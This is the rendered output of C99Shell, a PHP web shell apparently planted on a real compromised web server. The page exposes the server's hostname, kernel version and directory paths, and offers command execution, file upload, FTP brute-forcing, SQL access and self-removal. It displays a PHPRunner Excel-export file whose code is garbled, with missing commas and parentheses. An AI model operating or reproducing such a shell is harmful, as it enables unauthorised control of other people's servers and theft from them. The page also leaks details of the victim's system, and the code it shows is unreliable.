!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/include/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     export_functions.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once(getabspath("plugins/PHPExcel/IOFactory.php"));
require_once 
getabspath("include/export_functions_excel.php");

function 
ExportToExcel($rs$pageSize$pageObj)
{
    
$row $pageObj->cipherer->DecryptFetchedArray$rs->fetchAssoc() );
    
    
$totals = array();
    
$arrLabel = array();
    
$arrTotal = array();
    
$arrFields = array();
    
$arrColumnWidth = array();
    
$arrTotalMessage = array();
    
    foreach( 
$pageObj->selectedFields as $field )
    {
        if( 
$pageObj->pSet->appearOnExportPage$field ) )
            
$arrFields[] = $field;
    }
    
    
$arrTmpTotal $pageObj->pSet->getTotalsFields();
    
$pageObj->viewControls->setForExportVar"excel" );
    foreach( 
$arrFields as $field )
    {
        
$arrLabel$field ] = GetFieldLabelGoodFieldName$pageObj->tName ), GoodFieldName$field ) ); 
        
$arrColumnWidth$field ] = 10;
        
$totals$field ] = array("value" => 0"numRows" => 0);
        
        foreach( 
$arrTmpTotal as $tvalue )
        {
            if( 
$tvalue["fName"] == $field 
                
$totalsFields[] = array( 'fName' => $field'totalsType' => $tvalue["totalsType"], 'viewFormat' => $pageObj->pSet->getViewFormat$field ) );
        }
    }
    
// write data rows
    
$iNumberOfRows 0;
    
    
$objPHPExcel ExportExcelInit$arrLabel$arrColumnWidth );
    
    while( (!
$pageSize || $iNumberOfRows $pageSize) && $row )
    {
        
RunnerContext::pushRecordContext$row$pageObj );
        
        
countTotals($totals$totalsFields$row);
        
        
$values = array();    
        foreach( 
$arrFields as $field )
        {
            if( 
IsBinaryType$pageObj->pSet->getFieldType$field ) ) )
                
$values$field ] = $row$field ];
            else
                
$values$field ] = $pageObj->getFormattedFieldValue$field$row );
        }
        
        
$eventRes true;
        if( 
$pageObj->eventsObject->exists('BeforeOut') )
            
$eventRes $pageObj->eventsObject->BeforeOut$row$values$pageObj );
        
        if( 
$eventRes )
        {
            
$arrData = array();
            
$arrDataType = array();
            
            
$iNumberOfRows++;
            
$i 0;
            foreach( 
$arrFields as $field )
            {
                
$vFormat $pageObj->pSet->getViewFormat$field );
                
                if( 
IsBinaryType$pageObj->pSet->getFieldType$field ) ) )
                    
$arrDataType$field ] = "binary";
                elseif( 
$vFormat == FORMAT_DATE_SHORT || $vFormat == FORMAT_DATE_LONG || $vFormat == FORMAT_DATE_TIME )
                    
$arrDataType$field ] = "date";
                elseif( 
$vFormat == FORMAT_FILE_IMAGE )
                    
$arrDataType$field ] = "file";
                else
                    
$arrDataType$field ] = "";
                    
                
$arrData$field ] = $values$field ];
            }
            
            
ExportExcelRecord$arrData$arrDataType$iNumberOfRows$objPHPExcel$pageObj );
        }
        
        
RunnerContext::pop();
        
        
$row $pageObj->cipherer->DecryptFetchedArray$rs->fetchAssoc() );
    }
    
    if( 
count$arrTmpTotal ) )
    {
        foreach( 
$arrFields as $fName )
        {
            
$value = array();
            foreach( 
$arrTmpTotal as $tvalue )
            {
                if( 
$tvalue["fName"] == $fName )
                    
$value $tvalue;
            }
            
            
$total "";
            
$totalMess "";
            if( 
$value["totalsType"] )
            {
                if( 
$value["totalsType"] == "COUNT" )
                    
$totalMess "Count".": ";
                elseif( 
$value["totalsType"] == "TOTAL" )
                    
$totalMess "Total".": ";
                elseif( 
$value["totalsType"] == "AVERAGE" )
                    
$totalMess "Average".": ";
                    
                
$total GetTotals$fName$totals$fName ]["value"], $value["totalsType"], $totals$fName ]["numRows"], 
                    
$value["viewFormat"], "export"$pageObj->pSet$pageObj->useRawValues$pageObj );
            }
            
            
$arrTotal$fName ] = $total;
            
$arrTotalMessage$fName ] = $totalMess;
        }
    }

    
ExportExcelTotals$arrTotal$arrTotalMessage, ++$iNumberOfRows$objPHPExcel );
    
ExportExcelSaveGoodFieldName$pageObj->tName ).".xlsx""Excel2007"$objPHPExcel );
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.002 ]--